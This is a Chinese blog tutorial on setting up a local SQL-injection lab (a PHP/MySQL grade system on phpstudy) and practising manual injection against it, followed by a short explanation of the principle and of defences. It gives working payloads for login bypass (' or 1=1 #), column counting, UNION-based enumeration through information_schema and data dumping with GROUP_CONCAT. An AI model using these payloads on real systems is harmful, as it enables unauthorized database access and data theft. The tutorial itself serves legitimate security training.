SQL注入——从零开始搭建靶场详细教程_实战练习_注入原理

一、环境依赖

  1. VMware V15.5(可选)
  2. Windows 10 x64 虚拟机(可选)
  3. phpstudy V8.1
  4. MySQL V5.7.26(在phpstudy内选择)
  5. Nginx 1.15.11(在phpstudy内选择)
  6. PHP V5.6.9(在phpstudy内选择)
  7. SQLyog(可用phpstudy内其他软件代替)
  8. 成绩管理系统靶场

二、靶场搭建

安装以上环境和软件

为模拟真实情况,靶场搭建在虚拟机内,而访问在物理机上完成(可选)
当然,操作均在物理机上进行也没问题

以下操作均在虚拟机内完成

Ⅰ、下载靶场文件

–>靶场文件传送门<–
提取码:244q

Ⅱ、创建网站

phpstudy --> 网站 --> 创建网站 --> 填写域名、端口、根目录,更改PHP版本
物理路径选择解压的靶场路径(需修改成全英文)
请确认版本信息
在这里插入图片描述

Ⅲ、更改数据库root密码

数据库 --> 修改root密码 --> 将root密码修改为123456(与靶场数据库保持一致)
靶场数据库密码在query.php可以查询

<?php
  require_once('query.html');
  $db=mysql_connect('127.0.0.1','root','123456');
 ...

在这里插入图片描述

Ⅳ、新建并导入数据库

打开SQLyog --> 新建 --> 填写主机地址为localhost、密码为123456
在这里插入图片描述
左侧栏 --> 右键创建数据库
名称自拟,建议设置成grade

–> 单击选中新建数据库 --> 将靶场文件夹内的.sql文件拖入SQLyog -->左上角执行全部

在这里插入图片描述
导入成功后右下会有提示

成功后即可关闭SQLyog

Ⅴ、验证访问靶场

浏览器输入localhost:端口号访问靶场
在这里插入图片描述

三、实战练习

以下操作在物理机上进行

访问靶场前使用CMD得到虚拟机IP

Ⅰ、嗅探字段

①、验证合法性

输入' #、任意英文字符串、任意数字串验证合法性
查询结果无报错则语句合法

use mysqli报错是由于使用了过时的PHP连接数据库函数,在此处不影响注入操作
在这里插入图片描述

※语句解释

查询学号基于SQL语法:

SELECT 学号 FROM 数据表 WHERE 名字 = ’ {输入的名字} ’

因此构造了以下语句

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ # ’
查找空名字对应的学号,#号将后接入的’注释了

②、查找注入点

输入' or 1=1 #构造语句

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ or 1=1 # ’
or使得查询条件变为True,即全查询
在这里插入图片描述

出现所有结果表明学号存在注入点
尝试使用万能账户' or 1=1 #登录,成功
(密码任填)
在这里插入图片描述
接下来查找字段名
使用F12 --> Network 查看发包方式
在这里插入图片描述
从而知道用户名字段名称为user

③、嗅探字段数

输入' ORDER BY -1 #查看是否有字段存在

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ ORDER BY -1 # ’
按照第-1列排序(第一列为1),若无报错证明至少存在一列

有字段存在后,从1开始递增反复查询直到报错
报错列-1即是字段总数

Ⅱ、嗅探数据库信息

使用联合查询UNION SELECT XXX得到所需信息

  1. 输入'UNION SELECT USER() #查询用户名
  2. 输入'UNION SELECT VERSION() #查询数据库版本
  3. 输入'UNION SELECT DATABASE() #查询当前数据库名

Ⅲ、嗅探数据表信息

①、查询所有表

基础数据库有以下几个库information_schemamysqlperformance_shcemasys
它们记录了整个数据库的基本信息

输入' UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() #查询所有数据表信息

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ‘ UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() # ’

第一个查询无返回值,第二个查询是在information_schema这个数据库的TABLES表内进行
得到当前数据库包含的所有表的名称
(TABLES表内有所有表的信息)

②、查询指定表的所有列

输入' UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = "表名"#查询表的所有列名

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = “表名”# ’

第一个查询无返回值,第二个查询是在information_schema这个数据库的COLUMNS表内进行
得到指定数据表包含的所有列的名称
若有重复表,请同时指定数据库名和表名

Ⅳ、爆数据

前提是拿到表结构、字段信息

输入' UNION SELECT GROUP_CONCAT(列1,列2,...,列n) FROM 表名 #
得到指定表指定列的数据

其中,GROUP_CONCAT表示相同行组合便于查看
SELECT 列1,...,列n也可

欢迎在评论区留言
感谢浏览

SQL注入是一种常见的Web应用程序漏洞攻击技术,攻击者通过非法的输入方式将恶意的SQL代码注入到Web应用程序的输入框中,从而达到获取或修改数据库数据的目的。 SQL注入原理是通过输入恶意的SQL代码,使得Web应用程序在处理SQL语句时出现漏洞。攻击者可以通过在输入框中输入一些SQL代码,例如以下代码: ``` ' or 1=1 -- ``` 这段代码会被解析成以下SQL语句: ``` SELECT * FROM users WHERE username = '' or 1=1 --' AND password = '' ``` 其中的`or 1=1`会使得这个SQL语句的条件永远成立,导致查询结果会返回所有的用户数据,而`--`则是注释掉后面的代码,使得输入框后面的代码不会被执行。攻击者可以通过这种方式获取或修改数据库中的数据。 修复SQL注入漏洞的方法主要有以下几种: 1. 输入验证和过滤:对用户输入的数据进行验证和过滤,确保输入的数据符合预期的格式和类型,过滤掉恶意的SQL代码。 2. 使用预编译语句:使用预编译语句可以让数据库在执行SQL语句之前对输入的数据进行参数化处理,避免恶意的SQL代码注入。 3. 最小化权限:给数据库用户分配最小化的权限,避免攻击者通过SQL注入攻击获取敏感的数据库信息。 4. 加密敏感数据:加密敏感数据可以在数据库被盗取的情况下保护数据安全。 5. 使用安全的编程语言和框架:使用安全的编程语言和框架可以避免一些常见的安全漏洞,例如SQL注入、跨站脚本攻击等。
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值